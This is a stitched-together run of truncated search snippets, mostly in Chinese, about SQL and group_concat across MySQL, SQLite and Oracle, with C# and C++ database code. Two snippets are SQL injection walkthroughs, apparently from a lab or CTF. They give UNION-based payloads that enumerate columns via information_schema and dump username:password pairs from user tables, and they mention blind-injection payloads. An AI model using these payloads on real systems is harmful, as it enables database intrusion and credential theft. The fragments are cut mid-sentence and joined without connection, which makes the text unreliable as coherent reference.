id=99 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' 1. 查出字段后发现username和password字段,接下来进入字段查看数据信息 ?id=99 union select 1,2,(select group_concat(username,0x3a,password)from users) 1. 这样我们就拿到用户名和密码通关啦!...
DELIMITER $$ CREATE PROCEDURE `duplicateRows`(_schemaName text, _tableName text, _whereClause text, _omitColumns text) SQL SECURITY INVOKER BEGIN SELECT IF(TRIM(_omitColumns) <> '', CONCAT('id', ',', TRIM(_omitColumns)), 'id') INTO @omitColumns; SELECT GROUP_CONCAT(COLUMN_NAME) FROM...
CREATE TABLE database_name.table_name( column1 datatype PRIMARY KEY(one or more columns), column2 datatype, column3 datatype, ... columnN datatype, ); 查看所有表 命令行语句语句:.table 编程语句:SELECT tbl_name FROM sqlite_master WHERE type = 'table'; sqlite> .table COMPANY DEPARTMENT s...
0' union select id,name,passwd from user_data; 使用group_concat连接查询结果 0' union select 1,2,group_concat(passwd) from user_data; 当然,hex,limit,substr等也都可以在注入中用来构造语句。 盲注 和其他注入差不多,列举几个注入payload: Bool bool 没有mid、left等函数 select * from test where ...
group_concat( X, Y ) 非NULL的X序列,用字符串Y分隔。 max(X) 求最大值。(串参加计算) min(X) 求最小值。(串参加计算) sum(X) 求和。全NULL,返回NULL。 total(X) 求和。全NULL,返回0.0。 详见:https://www.sqlite.org/lang_aggfunc.html ...
public void CreateTable<T>() where T : new() { using (var connection = sqliteHelper.GetConnection()) { connection.Open(); var tableName = typeof(T).Name.ToLower(); var columns = typeof(T).GetProperties() .Select(p => $"{p.Name} TEXT") .Aggregate((a, b) =>...
得到一个包含1001个列的...create table语句,执行会提示报错,指出表或视图中允许的列最大个数是1000, SQL> declare 2 query varchar2(20000) := 'create table...01792: maximum number of columns in a table or view is 1000 ORA-06512: at line 8 由此引申出来,如果Oracle不同版本,对表列数有不同...
SHOW COLUMNS FROM tableName; 或者 DESCRIBE tableName; 二:检索数据 (一)SELECT 单个列查询 SELECT age FROM user; 多列查询 SELECT name,age FROM user; 查询所有列 SELECT * FROM user; 过滤相同的行。比如当年龄为20的有五个人时,只会返回一个20 ...
SQLite count() function with group by on multiple columns The following SQLite statement returns a number of publishers in each city for a country. The grouping operation is performed on country and pub_city column with the use of GROUP BY and then count() counts the number of publishers for...
// SELECT a.doctor_id,a.doctor_name, // c.patient_name,c.vdate // FROM doctors a // JOIN visits c // ON a.doctor_id=c.doctor_id; rows = storage2.select(columns(&Doctor::id, &Doctor::name, &Visit::patientName, &Visit::vdate), join<Visit>(on(c(&Doctor::id) == &Visit...